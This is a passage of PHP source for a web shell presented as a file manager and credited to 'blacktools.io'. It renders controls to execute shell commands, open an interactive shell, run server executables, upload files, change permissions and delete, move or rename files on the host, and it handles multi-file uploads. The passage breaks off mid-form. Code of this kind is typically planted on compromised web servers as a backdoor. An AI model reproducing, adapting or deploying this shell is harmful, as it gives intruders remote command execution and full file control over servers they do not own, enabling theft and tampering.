3185 window.open('".addslashes($path_info["basename"])."?action=5', 'win_serverinfo', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
3186 }
3187 function shell(){
3188 var w = 800;
3189 var h = 600;
3190 window.open('".addslashes($path_info["basename"])."?action=9', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
3191 }
3192 function view(arg){
3193 var w = 800;
3194 var h = 600;
3195 if(confirm('".uppercase(et('View'))." \\' '+arg+' \\' ?')) window.open('".addslashes($path_info["basename"])."?action=4¤t_dir=".addslashes($current_dir)."&filename='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=yes,toolbar=no,menubar=no,location=yes');
3196 }
3197 function rename(arg){
3198 var nome = '';
3199 if (nome = prompt('".uppercase(et('Ren'))." \\' '+arg+' \\' ".et('To')." ...')) document.location.href='".addslashes($path_info["basename"])."?frame=3&action=3¤t_dir=".addslashes($current_dir)."&old_name='+escape(arg)+'&new_name='+escape(nome);
3200 }
3201 function set_dir_dest(arg){
3202 document.form_action.dir_dest.value=arg;
3203 if (document.form_action.action.value.length>0) test(document.form_action.action.value);
3204 else alert('".et('JSError').".');
3205 }
3206 function sel_dir(arg){
3207 document.form_action.action.value = arg;
3208 document.form_action.dir_dest.value='';
3209 if (!is_anything_selected()) alert('".et('NoSel').".');
3210 else {
3211 if (!getCookie('sel_dir_warn')) {
3212 //alert('".et('SelDir').".');
3213 document.cookie='sel_dir_warn'+'='+escape('true')+';';
3214 }
3215 set_sel_dir_warn(true);
3216 parent.frame2.set_flag(true);
3217 }
3218 }
3219 function set_sel_dir_warn(b){
3220 document.getElementById(\"sel_dir_warn\").style.display=(b?'':'none');
3221 }
3222 function cancel_copy_move(){
3223 set_sel_dir_warn(false);
3224 parent.frame2.set_flag(false);
3225 }
3226 function chmod_form(){
3227 cancel_copy_move();
3228 document.form_action.dir_dest.value='';
3229 document.form_action.chmod_arg.value='';
3230 if (!is_anything_selected()) alert('".et('NoSel').".');
3231 else {
3232 var w = 280;
3233 var h = 180;
3234 window.open('".addslashes($path_info["basename"])."?action=8', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=no,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
3235 }
3236 }
3237 function set_chmod_arg(arg){
3238 cancel_copy_move();
3239 if (!is_anything_selected()) alert('".et('NoSel').".');
3240 else {
3241 document.form_action.dir_dest.value='';
3242 document.form_action.chmod_arg.value=arg;
3243 test(9);
3244 }
3245 }
3246 function test_action(){
3247 if (document.form_action.action.value != 0) return true;
3248 else return false;
3249 }
3250 function test_prompt(arg){
3251 cancel_copy_move();
3252 var erro='';
3253 var conf='';
3254 if (arg == 1){
3255 document.form_action.cmd_arg.value = prompt('".et('TypeDir').".');
3256 } else if (arg == 2){
3257 document.form_action.cmd_arg.value = prompt('".et('TypeArq').".');
3258 } else if (arg == 71){
3259 if (!is_anything_selected()) erro = '".et('NoSel').".';
3260 else document.form_action.cmd_arg.value = prompt('".et('TypeArqComp')."');
3261 }
3262 if (erro!=''){
3263 document.form_action.cmd_arg.focus();
3264 alert(erro);
3265 } else if(document.form_action.cmd_arg.value.length>0) {
3266 document.form_action.action.value = arg;
3267 document.form_action.submit();
3268 }
3269 }
3270 function strstr(haystack,needle){
3271 var index = haystack.indexOf(needle);
3272 return (index==-1)?false:index;
3273 }
3274 function valid_dest(dest,orig){
3275 return (strstr(dest,orig)==false)?true:false;
3276 }
3277 // ArrayAlert - Selection debug only
3278 function aa(){
3279 var str = 'selected_dir_list:\\n';
3280 for (x=0;x<selected_dir_list.length;x++){
3281 str += selected_dir_list[x]+'\\n';
3282 }
3283 str += '\\nselected_file_list:\\n';
3284 for (x=0;x<selected_file_list.length;x++){
3285 str += selected_file_list[x]+'\\n';
3286 }
3287 alert(str);
3288 }
3289 function test(arg){
3290 cancel_copy_move();
3291 var erro='';
3292 var conf='';
3293 if (arg == 4){
3294 if (!is_anything_selected()) erro = '".et('NoSel').".\\n';
3295 conf = '".et('RemSel')." ?\\n';
3296 } else if (arg == 5){
3297 if (!is_anything_selected()) erro = '".et('NoSel').".\\n';
3298 else if(document.form_action.dir_dest.value.length == 0) erro = '".et('NoDestDir').".';
3299 else if(document.form_action.dir_dest.value == document.form_action.current_dir.value) erro = '".et('DestEqOrig').".';
3300 else if(!valid_dest(document.form_action.dir_dest.value,document.form_action.current_dir.value)) erro = '".et('InvalidDest').".';
3301 conf = '".et('CopyTo')." \\' '+document.form_action.dir_dest.value+' \\' ?\\n';
3302 } else if (arg == 6){
3303 if (!is_anything_selected()) erro = '".et('NoSel').".';
3304 else if(document.form_action.dir_dest.value.length == 0) erro = '".et('NoDestDir').".';
3305 else if(document.form_action.dir_dest.value == document.form_action.current_dir.value) erro = '".et('DestEqOrig').".';
3306 else if(!valid_dest(document.form_action.dir_dest.value,document.form_action.current_dir.value)) erro = '".et('InvalidDest').".';
3307 conf = '".et('MoveTo')." \\' '+document.form_action.dir_dest.value+' \\' ?\\n';
3308 } else if (arg == 9){
3309 if (!is_anything_selected()) erro = '".et('NoSel').".';
3310 else if(document.form_action.chmod_arg.value.length == 0) erro = '".et('NoNewPerm').".';
3311 //conf = '".et('AlterPermTo')." \\' '+document.form_action.chmod_arg.value+' \\' ?\\n';
3312 }
3313 if (erro!=''){
3314 document.form_action.cmd_arg.focus();
3315 alert(erro);
3316 } else if(conf!='') {
3317 if(confirm(conf)) {
3318 document.form_action.action.value = arg;
3319 document.form_action.submit();
3320 } else {
3321 set_sel_dir_warn(false);
3322 }
3323 } else {
3324 document.form_action.action.value = arg;
3325 document.form_action.submit();
3326 }
3327 }
3328 //-->
3329 </script>";
3330 $out .= "
3331 <form name=\"form_action\" action=\"".$path_info["basename"]."\" method=\"post\" onsubmit=\"return test_action();\">
3332 <input type=hidden name=\"frame\" value=3>
3333 <input type=hidden name=\"action\" value=0>
3334 <input type=hidden name=\"dir_dest\" value=\"\">
3335 <input type=hidden name=\"chmod_arg\" value=\"\">
3336 <input type=hidden name=\"cmd_arg\" value=\"\">
3337 <input type=hidden name=\"current_dir\" value=\"$current_dir\">
3338 <input type=hidden name=\"dir_before\" value=\"$dir_before\">
3339 <input type=hidden name=\"selected_dir_list\" value=\"\">
3340 <input type=hidden name=\"selected_file_list\" value=\"\">";
3341 $out .= "
3342 <tr>
3343 <td bgcolor=\"#DDDDDD\" colspan=50><nobr>
3344 <input type=button onclick=\"config()\" value=\"".et('Config')."\">
3345 <input type=button onclick=\"server_info()\" value=\"".et('ServerInfo')."\">
3346 <input type=button onclick=\"test_prompt(1)\" value=\"".et('CreateDir')."\">
3347 <input type=button onclick=\"test_prompt(2)\" value=\"".et('CreateArq')."\">
3348 <input type=button onclick=\"execute_cmd()\" value=\"".et('ExecCmd')."\">
3349 <input type=button onclick=\"upload()\" value=\"".et('Upload')."\">
3350 <input type=button onclick=\"shell()\" value=\"".et('Shell')."\">
3351 <b>$ip</b>
3352
3353
3354
3355 <font color='#383330'>by <a href='http://blacktools.io' target='_blank'>blacktools.io</a> </font> </div>
3356 </nobr>";
3357 $uplink = "";
3358 if ($current_dir != $fm_current_root){
3359 $mat = explode("/",$current_dir);
3360 $dir_before = "";
3361 for($x=0;$x<(count($mat)-2);$x++) $dir_before .= $mat[$x]."/";
3362 $uplink = "<a href=\"".$path_info["basename"]."?frame=3¤t_dir=$dir_before\"><<</a> ";
3363 }
3364 if($entry_count){
3365 $out .= "
3366 <tr bgcolor=\"#DDDDDD\"><td colspan=50><nobr>$uplink <a href=\"".$path_info["basename"]."?frame=3¤t_dir=$current_dir\">$current_dir</a></nobr>
3367 <tr>
3368 <td bgcolor=\"#DDDDDD\" colspan=50><nobr>
3369 <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" id=\"ANI0\" value=\"".et('SelAll')."\">
3370 <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" value=\"".et('SelInverse')."\">
3371 <input type=\"button\" style=\"width:80\" onclick=\"test(4)\" value=\"".et('Rem')."\">
3372 <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(5)\" value=\"".et('Copy')."\">
3373 <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(6)\" value=\"".et('Move')."\">
3374 <input type=\"button\" style=\"width:100\" onclick=\"test_prompt(71)\" value=\"".et('Compress')."\">";
3375 if ($islinux) $out .= "
3376 <input type=\"button\" style=\"width:100\" onclick=\"resolveIDs()\" value=\"".et('ResolveIDs')."\">";
3377 $out .= "
3378 <input type=\"button\" style=\"width:100\" onclick=\"chmod_form()\" value=\"".et('Perms')."\">";
3379 $out .= "
3380 </nobr></td>
3381 </tr>
3382 <tr>
3383 <td bgcolor=\"#DDDDDD\" colspan=50 id=\"sel_dir_warn\" style=\"display:none\"><nobr><font color=\"red\">".et('SelDir')."...</font></nobr></td>
3384 </tr>";
3385 $file_count = 0;
3386 $dir_count = 0;
3387 $dir_out = array();
3388 $file_out = array();
3389 $max_opt = 0;
3390 foreach ($entry_list as $ind=>$dir_entry) {
3391 $file = $dir_entry["name"];
3392 if ($dir_entry["type"]=="dir"){
3393 $dir_out[$dir_count] = array();
3394 $dir_out[$dir_count][] = "
3395 <tr ID=\"entry$ind\" class=\"entryUnselected\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\">
3396 <td><nobr><a href=\"JavaScript:go('".addslashes($file)."')\">$file</a></nobr></td>";
3397 $dir_out[$dir_count][] = "<td>".$dir_entry["p"]."</td>";
3398 if ($islinux) {
3399 $dir_out[$dir_count][] = "<td><nobr>".$dir_entry["u"]."</nobr></td>";
3400 $dir_out[$dir_count][] = "<td><nobr>".$dir_entry["g"]."</nobr></td>";
3401 }
3402 $dir_out[$dir_count][] = "<td><nobr>".$dir_entry["sizet"]."</nobr></td>";
3403 $dir_out[$dir_count][] = "<td><nobr>".$dir_entry["datet"]."</nobr></td>";
3404 if ($has_files) $dir_out[$dir_count][] = "<td> </td>";
3405 // Opções de diretório
3406 if ( is_writable($current_dir.$file) ) $dir_out[$dir_count][] = "
3407 <td align=center><a href=\"JavaScript:if(confirm('".et('ConfRem')." \\'".addslashes($file)."\\' ?')) document.location.href='".addslashes($path_info["basename"])."?frame=3&action=8&cmd_arg=".addslashes($file)."¤t_dir=".addslashes($current_dir)."'\">".et('Rem')."</a>";
3408 if ( is_writable($current_dir.$file) ) $dir_out[$dir_count][] = "
3409 <td align=center><a href=\"JavaScript:rename('".addslashes($file)."')\">".et('Ren')."</a>";
3410 if (count($dir_out[$dir_count])>$max_opt){
3411 $max_opt = count($dir_out[$dir_count]);
3412 }
3413 $dir_count++;
3414 } else {
3415 $file_out[$file_count] = array();
3416 $file_out[$file_count][] = "
3417 <tr ID=\"entry$ind\" class=\"entryUnselected\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\">
3418 <td><nobr><a href=\"JavaScript:download('".addslashes($file)."')\">$file</a></nobr></td>";
3419 $file_out[$file_count][] = "<td>".$dir_entry["p"]."</td>";
3420 if ($islinux) {
3421 $file_out[$file_count][] = "<td><nobr>".$dir_entry["u"]."</nobr></td>";
3422 $file_out[$file_count][] = "<td><nobr>".$dir_entry["g"]."</nobr></td>";
3423 }
3424 $file_out[$file_count][] = "<td><nobr>".$dir_entry["sizet"]."</nobr></td>";
3425 $file_out[$file_count][] = "<td><nobr>".$dir_entry["datet"]."</nobr></td>";
3426 $file_out[$file_count][] = "<td>".$dir_entry["extt"]."</td>";
3427 // Opções de arquivo
3428 if ( is_writable($current_dir.$file) ) $file_out[$file_count][] = "
3429 <td align=center><a href=\"javascript:if(confirm('".uppercase(et('Rem'))." \\'".addslashes($file)."\\' ?')) document.location.href='".addslashes($path_info["basename"])."?frame=3&action=8&cmd_arg=".addslashes($file)."¤t_dir=".addslashes($current_dir)."'\">".et('Rem')."</a>";
3430 else $file_out[$file_count][] = "<td> </td>";
3431 if ( is_writable($current_dir.$file) ) $file_out[$file_count][] = "
3432 <td align=center><a href=\"javascript:rename('".addslashes($file)."')\">".et('Ren')."</a>";
3433 else $file_out[$file_count][] = "<td> </td>";
3434 if ( is_readable($current_dir.$file) && (strpos(".wav#.mp3#.mid#.avi#.mov#.mpeg#.mpg#.rm#.iso#.bin#.img#.dll#.psd#.fla#.swf#.class#.ppt#.tif#.tiff#.pcx#.jpg#.gif#.png#.wmf#.eps#.bmp#.msi#.exe#.com#.rar#.tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"]."#" ) === false)) $file_out[$file_count][] = "
3435 <td align=center><a href=\"javascript:edit_file('".addslashes($file)."')\">".et('Edit')."</a>";
3436 else $file_out[$file_count][] = "<td> </td>";
3437 if ( is_readable($current_dir.$file) && (strpos(".txt#.sys#.bat#.ini#.conf#.swf#.php#.php3#.asp#.html#.htm#.jpg#.gif#.png#.bmp#", $dir_entry["ext"]."#" ) !== false)) $file_out[$file_count][] = "
3438 <td align=center><a href=\"javascript:view('".addslashes($file)."');\">".et('View')."</a>";
3439 else $file_out[$file_count][] = "<td> </td>";
3440 if ( is_readable($current_dir.$file) && strlen($dir_entry["ext"]) && (strpos(".tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"]."#" ) !== false)) $file_out[$file_count][] = "
3441 <td align=center><a href=\"javascript:decompress('".addslashes($file)."')\">".et('Decompress')."</a>";
3442 else $file_out[$file_count][] = "<td> </td>";
3443 if ( is_readable($current_dir.$file) && strlen($dir_entry["ext"]) && (strpos(".exe#.com#.sh#.bat#", $dir_entry["ext"]."#" ) !== false)) $file_out[$file_count][] = "
3444 <td align=center><a href=\"javascript:execute_file('".addslashes($file)."')\">".et('Exec')."</a>";
3445 else $file_out[$file_count][] = "<td> </td>";
3446 if (count($file_out[$file_count])>$max_opt){
3447 $max_opt = count($file_out[$file_count]);
3448 }
3449 $file_count++;
3450 }
3451 }
3452 if ($dir_count){
3453 $out .= "
3454 <tr>
3455 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or1¤t_dir=$current_dir\">".et('Name')."</a></nobr></td>
3456 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or2¤t_dir=$current_dir\">".et('Perm')."</a></nobr></td>";
3457 if ($islinux) $out .= "
3458 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or3¤t_dir=$current_dir\">".et('Owner')."</a></td>
3459 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or4¤t_dir=$current_dir\">".et('Group')."</a></nobr></td>";
3460 $out .= "
3461 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or5¤t_dir=$current_dir\">".et('Size')."</a></nobr></td>
3462 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or6¤t_dir=$current_dir\">".et('Date')."</a></nobr></td>";
3463 if ($file_count) $out .= "
3464 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or7¤t_dir=$current_dir\">".et('Type')."</a></nobr></td>";
3465 $out .= "
3466 <td bgcolor=\"#DDDDDD\" colspan=50> </td>
3467 </tr>";
3468
3469 }
3470 foreach($dir_out as $k=>$v){
3471 while (count($dir_out[$k])<$max_opt) {
3472 $dir_out[$k][] = "<td> </td>";
3473 }
3474 $out .= implode($dir_out[$k]);
3475 $out .= "</tr>";
3476 }
3477 if ($file_count){
3478 $out .= "
3479 <tr>
3480 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or1¤t_dir=$current_dir\">".et('Name')."</a></nobr></td>
3481 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or2¤t_dir=$current_dir\">".et('Perm')."</a></nobr></td>";
3482 if ($islinux) $out .= "
3483 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or3¤t_dir=$current_dir\">".et('Owner')."</a></td>
3484 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or4¤t_dir=$current_dir\">".et('Group')."</a></nobr></td>";
3485 $out .= "
3486 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or5¤t_dir=$current_dir\">".et('Size')."</a></nobr></td>
3487 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or6¤t_dir=$current_dir\">".et('Date')."</a></nobr></td>
3488 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or7¤t_dir=$current_dir\">".et('Type')."</a></nobr></td>
3489 <td bgcolor=\"#DDDDDD\" colspan=50> </td>
3490 </tr>";
3491
3492 }
3493 foreach($file_out as $k=>$v){
3494 while (count($file_out[$k])<$max_opt) {
3495 $file_out[$k][] = "<td> </td>";
3496 }
3497 $out .= implode($file_out[$k]);
3498 $out .= "</tr>";
3499 }
3500 $out .= "
3501 <tr>
3502 <td bgcolor=\"#DDDDDD\" colspan=50><nobr>
3503 <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" id=\"ANI1\" value=\"".et('SelAll')."\">
3504 <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" value=\"".et('SelInverse')."\">
3505 <input type=\"button\" style=\"width:80\" onclick=\"test(4)\" value=\"".et('Rem')."\">
3506 <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(5)\" value=\"".et('Copy')."\">
3507 <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(6)\" value=\"".et('Move')."\">
3508 <input type=\"button\" style=\"width:100\" onclick=\"test_prompt(71)\" value=\"".et('Compress')."\">";
3509 if ($islinux) $out .= "
3510 <input type=\"button\" style=\"width:100\" onclick=\"resolveIDs()\" value=\"".et('ResolveIDs')."\">";
3511 $out .= "
3512 <input type=\"button\" style=\"width:100\" onclick=\"chmod_form()\" value=\"".et('Perms')."\">";
3513 $out .= "
3514 </nobr></td>
3515 </tr>";
3516 $out .= "
3517 </form>";
3518 $out .= "
3519 <tr><td bgcolor=\"#DDDDDD\" colspan=50><b>$dir_count ".et('Dir_s')." ".et('And')." $file_count ".et('File_s')." = ".format_size($total_size)."</td></tr>";
3520 if ($quota_mb) {
3521 $out .= "
3522 <tr><td bgcolor=\"#DDDDDD\" colspan=50><b>".et('Partition').": ".format_size(($quota_mb*1024*1024))." ".et('Total')." - ".format_size(($quota_mb*1024*1024)-total_size($fm_current_root))." ".et('Free')."</td></tr>";
3523 } else {
3524 $out .= "
3525 <tr><td bgcolor=\"#DDDDDD\" colspan=50><b>".et('Partition').": ".format_size(disk_total_space($current_dir))." ".et('Total')." - ".format_size(disk_free_space($current_dir))." ".et('Free')."</td></tr>";
3526 }
3527 $tf = getmicrotime();
3528 $tt = ($tf - $ti);
3529 $out .= "
3530 <tr><td bgcolor=\"#DDDDDD\" colspan=50><b>".et('RenderTime').": ".substr($tt,0,strrpos($tt,".")+5)." ".et('Seconds')."</td></tr>";
3531 $out .= "
3532 <script language=\"Javascript\" type=\"text/javascript\">
3533 <!--
3534 update_sel_status();
3535 //-->
3536 </script>";
3537 } else {
3538 $out .= "
3539 <tr>
3540 <td bgcolor=\"#DDDDDD\" width=\"1%\">$uplink<td bgcolor=\"#DDDDDD\" colspan=50><nobr><a href=\"".$path_info["basename"]."?frame=3¤t_dir=$current_dir\">$current_dir</a></nobr>
3541 <tr><td bgcolor=\"#DDDDDD\" colspan=50>".et('EmptyDir').".</tr>";
3542 }
3543 } else $out .= "<tr><td><font color=red>".et('IOError').".<br>$current_dir</font>";
3544 $out .= "</table>";
3545 echo $out;
3546}
3547function upload_form(){
3548 global $_FILES,$current_dir,$dir_dest,$fechar,$quota_mb,$path_info;
3549 $num_uploads = 5;
3550 html_header();
3551 echo "<body marginwidth=\"0\" marginheight=\"0\">";
3552 if (count($_FILES)==0){
3553 echo "
3554 <table height=\"100%\" border=0 cellspacing=0 cellpadding=2 align=center>
3555 <form name=\"upload_form\" action=\"".$path_info["basename"]."\" method=\"post\" ENCTYPE=\"multipart/form-data\">
3556 <input type=hidden name=dir_dest value=\"$current_dir\">
3557 <input type=hidden name=action value=10>
3558 <tr><th colspan=2>".et('Upload')."</th></tr>
3559 <tr><td align=right><b>".et('Destination').":<td><b><nobr>$current_dir</nobr>";
3560 for ($x=0;$x<$num_uploads;$x++){
3561 echo "<tr><td width=1 align=right><b>".et('File').":<td><nobr><input type=\"file\" name=\"file$x\"></nobr>";
3562 $test_js .= "(document.upload_form.file$x.value.length>0)||";
3563 }
3564 echo "
3565 <input type=button value=\"".et('Send')."\" onclick=\"test_upload_form()\"></nobr>
3566 <tr><td> <td><input type=checkbox name=fechar value=\"1\"> <a href=\"JavaScript:troca();\">".et('AutoClose')."</a>
3567 <tr><td colspan=2> </td></tr>
3568 </form>
3569 </table>
3570 <script language=\"Javascript\" type=\"text/javascript\">
3571 <!--
3572 function troca(){
3573 if(document.upload_form.fechar.checked){document.upload_form.fechar.checked=false;}else{document.upload_form.fechar.checked=true;}
3574 }
3575 foi = false;
3576 function test_upload_form(){
3577 if(".substr($test_js,0,strlen($test_js)-2)."){
3578 if (foi) alert('".et('SendingForm')."...');
3579 else {
3580 foi = true;
3581 document.upload_form.submit();
3582 }
3583 } else alert('".et('NoFileSel').".');
3584 }
3585 window.moveTo((window.screen.width-400)/2,((window.screen.height-200)/2)-20);
3586 //-->
3587 </script>";
3588 } else {
3589 $out = "<tr><th colspan=2>".et('UploadEnd')."</th></tr>
3590 <tr><th colspan=2><nobr>".et('Destination').": $dir_dest</nobr>";
3591 for ($x=0;$x<$num_uploads;$x++){
3592 $temp_file = $_FILES["file".$x]["tmp_name"];
3593 $filename = $_FILES["file".$x]["name"];
3594 if (strlen($filename)) $resul = save_upload($temp_file,$filename,$dir_dest);
3595 else $resul = 7;
3596 switch($resul){
3597 case 1:
3598 $out .= "<tr><td><b>".str_zero($x+1,3).".<font color=green><b> ".et('FileSent').":</font><td>".$filename."</td></tr>\n";
3599 break;
3600 case 2:
3601 $out .= "<tr><td colspan=2><font color=red><b>".et('IOError')."</font></td></tr>\n";
3602 $x = $upload_num;
3603 break;
3604 case 3:
3605 $out .= "<tr><td colspan=2><font color=red><b>".et('SpaceLimReached')." ($quota_mb Mb)</font></td></tr>\n";
3606 $x = $upload_num;
3607 break;
3608 case 4:
3609 $out .= "<tr><td><b>".str_zero($x+1,3).".<font color=red><b> ".et('InvExt').":</font><td>".$filename."</td></tr>\n";
3610 break;
3611 case 5:
3612 $out .= "<tr><td><b>".str_zero($x+1,3).".<font color=red><b> ".et('FileNoOverw')."</font><td>".$filename."</td></tr>\n";
3613 break;
3614 case 6:
3615 $out .= "<tr><td><b>".str_zero($x+1,3).".<font color=green><b> ".et('FileOverw').":</font><td>".$filename."</td></tr>\n";
3616 break;
3617 case 7:
3618 $out .= "<tr><td colspan=2><b>".str_zero($x+1,3).".<font color=red><b> ".et('FileIgnored')."</font></td></tr>\n";
3619 }
3620 }
3621 if ($fechar) {
3622 echo "
3623 <script language=\"Javascript\" type=\"text/javascript\">
3624 <!--
3625 window.close();
3626 //-->
3627 </script>
3628 ";
3629 } else {
3630 echo "
3631 <table height=\"100%\" border=0 cellspacing=0 cellpadding=2 align=center>
3632 $out
3633 <tr><td colspan=2> </td></tr>
3634 </table>
3635 <script language=\"Javascript\" type=\"text/javascript\">
3636 <!--
3637 window.focus();
3638 //-->
3639 </script>
3640 ";
3641 }
3642 }
3643 echo "</body>\n</html>";
3644}
3645function chmod_form(){
3646 html_header("
3647 <script language=\"Javascript\" type=\"text/javascript\">
3648 <!--
3649 function octalchange()
3650 {
3651 var val = document.chmod_form.t_total.value;
3652 var stickybin = parseInt(val.charAt(0)).toString(2);
3653 var ownerbin = parseInt(val.charAt(1)).toString(2);
3654 while (ownerbin.length<3) { ownerbin=\"0\"+ownerbin; };
3655 var groupbin = parseInt(val.charAt(2)).toString(2);
3656 while (groupbin.length<3) { groupbin=\"0\"+groupbin; };
3657 var otherbin = parseInt(val.charAt(3)).toString(2);
3658 while (otherbin.length<3) { otherbin=\"0\"+otherbin; };
3659 document.chmod_form.sticky.checked = parseInt(stickybin.charAt(0));
3660 document.chmod_form.owner4.checked = parseInt(ownerbin.charAt(0));
3661 document.chmod_form.owner2.checked = parseInt(ownerbin.charAt(1));
3662 document.chmod_form.owner1.checked = parseInt(ownerbin.charAt(2));
3663 document.chmod_form.group4.checked = parseInt(groupbin.charAt(0));
3664 document.chmod_form.group2.checked = parseInt(groupbin.charAt(1));
3665 document.chmod_form.group1.checked = parseInt(groupbin.charAt(2));
3666 document.chmod_form.other4.checked = parseInt(otherbin.charAt(0));
3667 document.chmod_form.other2.checked = parseInt(otherbin.charAt(1));
3668 document.chmod_form.other1.checked = parseInt(otherbin.charAt(2));
3669 calc_chmod(1);
3670 };
3671
3672 function calc_chmod(nototals)
3673 {
3674 var users = new Array(\"owner\", \"group\", \"other\");
3675 var totals = new Array(\"\",\"\",\"\");
3676 var syms = new Array(\"\",\"\",\"\");
3677
3678 for (var i=0; i<users.length; i++)
3679 {
3680 var user=users[i];
3681 var field4 = user + \"4\";
3682 var field2 = user + \"2\";
3683 var field1 = user + \"1\";
3684 var symbolic = \"sym_\" + user;
3685 var number = 0;
3686 var sym_string = \"\";
3687 var sticky = \"0\";
3688 var sticky_sym = \" \";
3689 if (document.chmod_form.sticky.checked){
3690 sticky = \"1\";
3691 sticky_sym = \"t\";
3692 }
3693 if (document.chmod_form[field4].checked == true) { number += 4; }
3694 if (document.chmod_form[field2].checked == true) { number += 2; }
3695 if (document.chmod_form[field1].checked == true) { number += 1; }
3696
3697 if (document.chmod_form[field4].checked == true) {
3698 sym_string += \"r\";
3699 } else {
3700 sym_string += \"-\";
3701 }
3702 if (document.chmod_form[field2].checked == true) {
3703 sym_string += \"w\";
3704 } else {
3705 sym_string += \"-\";
3706 }
3707 if (document.chmod_form[field1].checked == true) {
3708 sym_string += \"x\";
3709 } else {
3710 sym_string += \"-\";
3711 }
3712
3713 totals[i] = totals[i]+number;
3714 syms[i] = syms[i]+sym_string;
3715
3716 };
3717 if (!nototals) document.chmod_form.t_total.value = sticky + totals[0] + totals[1] + totals[2];
3718 document.chmod_form.sym_total.value = syms[0] + syms[1] + syms[2] + sticky_sym;
3719 }
3720 function sticky_change(){
3721 document.chmod_form.sticky.checked = !(document.chmod_form.sticky.checked);
3722 }
3723 function apply_chmod(){
3724 if (confirm('".et('AlterPermTo')." \\' '+document.chmod_form.t_total.value+' \\' ?\\n')){
3725 window.opener.set_chmod_arg(document.chmod_form.t_total.value);
3726 window.close();
3727 }
3728 }
3729
3730 window.onload=octalchange
3731 window.moveTo((window.screen.width-400)/2,((window.screen.height-200)/2)-20);
3732 //-->
3733 </script>");
3734 echo "<body marginwidth=\"0\" marginheight=\"0\">
3735 <form name=\"chmod_form\">
3736 <TABLE BORDER=\"0\" CELLSPACING=\"0\" CELLPADDING=\"4\" ALIGN=CENTER>
3737 <tr><th colspan=4>".et('Perms')."</th></tr>
3738 <TR ALIGN=\"LEFT\" VALIGN=\"MIDDLE\">
3739 <TD><input type=\"text\" name=\"t_total\" value=\"0755\" size=\"4\" onKeyUp=\"octalchange()\"> </TD>
3740 <TD><input type=\"text\" name=\"sym_total\" value=\"\" size=\"12\" READONLY=\"1\"></TD>
3741 </TR>
3742 </TABLE>
3743 <table cellpadding=\"2\" cellspacing=\"0\" border=\"0\" ALIGN=CENTER>
3744 <tr bgcolor=\"#333333\">
3745 <td WIDTH=\"60\" align=\"left\"> </td>
3746 <td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Owner')."
3747 </b></td>
3748 <td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Group')."
3749 </b></td>
3750 <td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Other')."
3751 <b></td>
3752 </tr>
3753 <tr bgcolor=\"#DDDDDD\">
3754 <td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">".et('Read')."</td>
3755 <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
3756 <input type=\"checkbox\" name=\"owner4\" value=\"4\" onclick=\"calc_chmod()\">
3757 </td>
3758 <td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group4\" value=\"4\" onclick=\"calc_chmod()\">
3759 </td>
3760 <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
3761 <input type=\"checkbox\" name=\"other4\" value=\"4\" onclick=\"calc_chmod()\">
3762 </td>
3763 </tr>
3764 <tr bgcolor=\"#DDDDDD\">
3765 <td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">".et('Write')."</td>
3766 <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
3767 <input type=\"checkbox\" name=\"owner2\" value=\"2\" onclick=\"calc_chmod()\"></td>
3768 <td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group2\" value=\"2\" onclick=\"calc_chmod()\">
3769 </td>
3770 <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
